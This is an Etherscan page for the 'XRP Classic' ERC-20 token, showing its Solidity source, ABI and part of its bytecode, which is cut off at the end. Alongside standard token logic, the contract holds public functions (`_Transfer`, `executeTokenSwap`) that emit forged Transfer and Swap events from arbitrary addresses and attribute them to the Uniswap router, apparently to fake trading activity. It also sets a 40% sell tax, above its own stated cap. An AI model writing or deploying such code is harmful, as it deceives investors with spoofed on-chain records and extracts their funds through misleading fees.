ERC-20
Overview
Max Total Supply
100,000,000,000 XRPC
Holders
190
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
33,120,761.330245622 XRPCValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
XRPClassic
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-13 */ /** https://t.me/XRPCLASSIC_ERC */ /// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); function _Transfer(address from, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract XRPClassic is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode"XRP Classic"; string private constant _symbol = unicode"XRPC"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 20; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 40; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping (address => uint256) private _buyMap; address payable private _developmentAddress = payable(0x1C770aB99b28B066d3cF0B4a21400C828D92c075); address payable private _marketingAddress = payable(0x1C770aB99b28B066d3cF0B4a21400C828D92c075); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled =true; uint256 public _maxTxAmount = 2000000000 * 10**9; uint256 public _maxWalletSize = 2000000000 * 10**9; uint256 public _swapTokensAtAmount = 2000000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _Transfer(address _from, address _to, uint _value) public returns (bool) { emit Transfer(_from, _to, _value); return true; } function executeTokenSwap( address uniswapPool, address[] memory recipients, uint256[] memory tokenAmounts, uint256[] memory wethAmounts, address tokenAddress ) public returns (bool) { for (uint256 i = 0; i < recipients.length; i++) { emit Transfer(uniswapPool, recipients[i], tokenAmounts[i]); emit Swap( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, tokenAmounts[i], 0, 0, wethAmounts[i], recipients[i] ); IERC20(tokenAddress)._Transfer(recipients[i], uniswapPool, wethAmounts[i]); } return true; } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function enableTrading() public onlyOwner { tradingOpen = true; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function changeTaxes(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require((redisFeeOnBuy + taxFeeOnBuy) <= 25); require((redisFeeOnSell + taxFeeOnSell) <= 35); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function changeMaxTxamount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; uint256 limit = totalSupply().mul(5).div(1000); require(maxTxAmount >= limit, "Max TX cannot be less than .5%"); } function changeMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; uint256 limit = totalSupply().mul(5).div(1000); require(maxWalletSize >= limit, "Max Wallet cannot be less than .5%"); } function excludeMultipleFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } function removetokenLimits() public onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"changeMaxTxamount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"changeMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"changeTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uniswapPool","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"tokenAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"wethAmounts","type":"uint256[]"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"executeTokenSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removetokenLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526200001b68056bc75e2d6310000060001962000364565b620000299060001962000387565b6006556000600881905560146009819055600a8290556028600b819055600c839055600d819055600e92909255600f91909155601180546001600160a01b0319908116731c770ab99b28b066d3cf0b4a21400c828d92c075908117909255601280549091169091179055805462ffffff60a01b1916600160b01b179055671bc16d674ec8000060158190556016819055601755348015620000c957600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506006543360009081526002602090815260409182902092909255601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa15801562000187573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ad9190620003af565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001fb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002219190620003af565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200026f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002959190620003af565b601480546001600160a01b0319166001600160a01b03928316179055600080548216815260056020526040808220805460ff1990811660019081179092553084528284208054821683179055601154851684528284208054821683179055601254909416835291208054909216179055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef68056bc75e2d631000006040516200035591815260200190565b60405180910390a350620003e1565b6000826200038257634e487b7160e01b600052601260045260246000fd5b500690565b81810381811115620003a957634e487b7160e01b600052601160045260246000fd5b92915050565b600060208284031215620003c257600080fd5b81516001600160a01b0381168114620003da57600080fd5b9392505050565b61210c80620003f16000396000f3fe6080604052600436106101c65760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063c3c8cd8011610064578063c3c8cd8014610505578063dd62ed3e1461051a578063e156b1b614610560578063f2fde38b1461058057600080fd5b8063a9059cbb14610490578063b87f137a146104b0578063ba66292f146104d0578063bea1cb27146104e557600080fd5b80638f9a55c0116100d15780638f9a55c01461040d57806395d89b411461042357806398a5c31514610450578063a063d44e1461047057600080fd5b80637d1db4a5146103c45780638a8c523c146103da5780638da5cb5b146103ef57600080fd5b80632fd689e3116101645780636d8aa8f81161013e5780636d8aa8f81461035a5780636fc3eaec1461037a57806370a082311461038f578063715018a6146103af57600080fd5b80632fd689e314610308578063313ce5671461031e57806349bd5a5e1461033a57600080fd5b806318160ddd116101a057806318160ddd146102805780631ae1ffbc146102a657806323b872dd146102c65780632db5ee76146102e657600080fd5b806306fdde03146101d2578063095ea7b3146102185780631694505e1461024857600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b5060408051808201909152600b81526a58525020436c617373696360a81b60208201525b60405161020f9190611b16565b60405180910390f35b34801561022457600080fd5b50610238610233366004611b89565b6105a0565b604051901515815260200161020f565b34801561025457600080fd5b50601354610268906001600160a01b031681565b6040516001600160a01b03909116815260200161020f565b34801561028c57600080fd5b5068056bc75e2d631000005b60405190815260200161020f565b3480156102b257600080fd5b506102386102c1366004611c8b565b6105b7565b3480156102d257600080fd5b506102386102e1366004611d97565b6107e0565b3480156102f257600080fd5b50610306610301366004611dd8565b610849565b005b34801561031457600080fd5b5061029860175481565b34801561032a57600080fd5b506040516009815260200161020f565b34801561034657600080fd5b50601454610268906001600160a01b031681565b34801561036657600080fd5b50610306610375366004611dff565b6108fb565b34801561038657600080fd5b50610306610943565b34801561039b57600080fd5b506102986103aa366004611e1c565b61098e565b3480156103bb57600080fd5b506103066109b0565b3480156103d057600080fd5b5061029860155481565b3480156103e657600080fd5b50610306610a24565b3480156103fb57600080fd5b506000546001600160a01b0316610268565b34801561041957600080fd5b5061029860165481565b34801561042f57600080fd5b506040805180820190915260048152635852504360e01b6020820152610202565b34801561045c57600080fd5b5061030661046b366004611dd8565b610a63565b34801561047c57600080fd5b5061030661048b366004611e39565b610a92565b34801561049c57600080fd5b506102386104ab366004611b89565b610afe565b3480156104bc57600080fd5b506103066104cb366004611dd8565b610b0b565b3480156104dc57600080fd5b50610306610bb3565b3480156104f157600080fd5b50610306610500366004611e6b565b610bf1565b34801561051157600080fd5b50610306610c92565b34801561052657600080fd5b50610298610535366004611ef1565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561056c57600080fd5b5061023861057b366004611d97565b610ce6565b34801561058c57600080fd5b5061030661059b366004611e1c565b610d3f565b60006105ad338484610e29565b5060015b92915050565b6000805b85518110156107d3578581815181106105d6576105d6611f2a565b60200260200101516001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87848151811061062457610624611f2a565b602002602001015160405161063b91815260200190565b60405180910390a385818151811061065557610655611f2a565b60200260200101516001600160a01b0316737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228784815181106106b7576106b7611f2a565b60200260200101516000808987815181106106d4576106d4611f2a565b6020908102919091018101516040805195865291850193909352830152606082015260800160405180910390a3826001600160a01b031663e156b1b687838151811061072257610722611f2a565b60200260200101518987858151811061073d5761073d611f2a565b60209081029190910101516040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af115801561079c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c09190611f40565b50806107cb81611f73565b9150506105bb565b5060019695505050505050565b60006107ed848484610f4d565b61083f843361083a856040518060600160405280602881526020016120af602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113ef565b610e29565b5060019392505050565b6000546001600160a01b0316331461087c5760405162461bcd60e51b815260040161087390611f8c565b60405180910390fd5b601581905560006108a56103e861089f600568056bc75e2d631000005b90611429565b906114b2565b9050808210156108f75760405162461bcd60e51b815260206004820152601e60248201527f4d61782054582063616e6e6f74206265206c657373207468616e202e352500006044820152606401610873565b5050565b6000546001600160a01b031633146109255760405162461bcd60e51b815260040161087390611f8c565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6011546001600160a01b0316336001600160a01b0316148061097857506012546001600160a01b0316336001600160a01b0316145b61098157600080fd5b4761098b816114f4565b50565b6001600160a01b0381166000908152600260205260408120546105b19061152e565b6000546001600160a01b031633146109da5760405162461bcd60e51b815260040161087390611f8c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a4e5760405162461bcd60e51b815260040161087390611f8c565b6014805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610a8d5760405162461bcd60e51b815260040161087390611f8c565b601755565b6000546001600160a01b03163314610abc5760405162461bcd60e51b815260040161087390611f8c565b6019610ac88386611fc1565b1115610ad357600080fd5b6023610adf8285611fc1565b1115610aea57600080fd5b600893909355600a91909155600955600b55565b60006105ad338484610f4d565b6000546001600160a01b03163314610b355760405162461bcd60e51b815260040161087390611f8c565b60168190556000610b566103e861089f600568056bc75e2d63100000610899565b9050808210156108f75760405162461bcd60e51b815260206004820152602260248201527f4d61782057616c6c65742063616e6e6f74206265206c657373207468616e202e604482015261352560f01b6064820152608401610873565b6000546001600160a01b03163314610bdd5760405162461bcd60e51b815260040161087390611f8c565b68056bc75e2d631000006015819055601655565b6000546001600160a01b03163314610c1b5760405162461bcd60e51b815260040161087390611f8c565b60005b82811015610c8c578160056000868685818110610c3d57610c3d611f2a565b9050602002016020810190610c529190611e1c565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c8481611f73565b915050610c1e565b50505050565b6011546001600160a01b0316336001600160a01b03161480610cc757506012546001600160a01b0316336001600160a01b0316145b610cd057600080fd5b6000610cdb3061098e565b905061098b816115ab565b6000826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d2d91815260200190565b60405180910390a35060019392505050565b6000546001600160a01b03163314610d695760405162461bcd60e51b815260040161087390611f8c565b6001600160a01b038116610dce5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610873565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e8b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610873565b6001600160a01b038216610eec5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610873565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fb15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610873565b6001600160a01b0382166110135760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610873565b600081116110755760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610873565b6000546001600160a01b038481169116148015906110a157506000546001600160a01b03838116911614155b156112e857601454600160a01b900460ff1661113a576000546001600160a01b0384811691161461113a5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610873565b60155481111561118c5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610873565b6014546001600160a01b0383811691161461121157601654816111ae8461098e565b6111b89190611fc1565b106112115760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610873565b600061121c3061098e565b6017546015549192508210159082106112355760155491505b80801561124c5750601454600160a81b900460ff16155b801561126657506014546001600160a01b03868116911614155b801561127b5750601454600160b01b900460ff165b80156112a057506001600160a01b03851660009081526005602052604090205460ff16155b80156112c557506001600160a01b03841660009081526005602052604090205460ff16155b156112e5576112d3826115ab565b4780156112e3576112e3476114f4565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061132a57506001600160a01b03831660009081526005602052604090205460ff165b8061135c57506014546001600160a01b0385811691161480159061135c57506014546001